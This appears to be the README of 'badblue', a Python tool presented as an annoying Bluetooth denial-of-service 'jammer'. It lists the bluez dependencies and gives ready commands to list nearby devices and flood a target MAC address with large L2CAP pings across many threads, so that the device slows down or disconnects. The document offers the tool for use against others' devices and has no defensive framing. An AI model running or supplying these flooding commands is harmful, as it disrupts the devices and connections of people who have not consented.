badblue

Annoying bluetooth DoS "jammer" that floods target device with large L2CAP ping packets, causing it to slow down other data transfers or disconnect altogether.

This repo steals heavily from crypt0b0y's BLUETOOTH-DOS-ATTACK-SCRIPT.

Dependencies

This script uses bluetoothctl for listing devices and l2ping for flooding. Both these utilities are in the bluez package.

sudo apt update
sudo apt install bluez

# verify installation (both should be installed)
bluetoothctl --version
l2ping -h

Usage

List nearby bluetooth devices

sudo python3 badblue.py list

# you can also specify time to wait for advertisements
sudo python3 badblue.py list --wait-time 8

Flood a device

sudo python3 badblue.py flood 88:AA:BB:CC:DD:EE

# optionally specify number of threads to spawn and size of each ping packet sent
sudo python3 badblue.py --packet-size 300 --threads 500 flood 88:C9:E8:0B:11:1E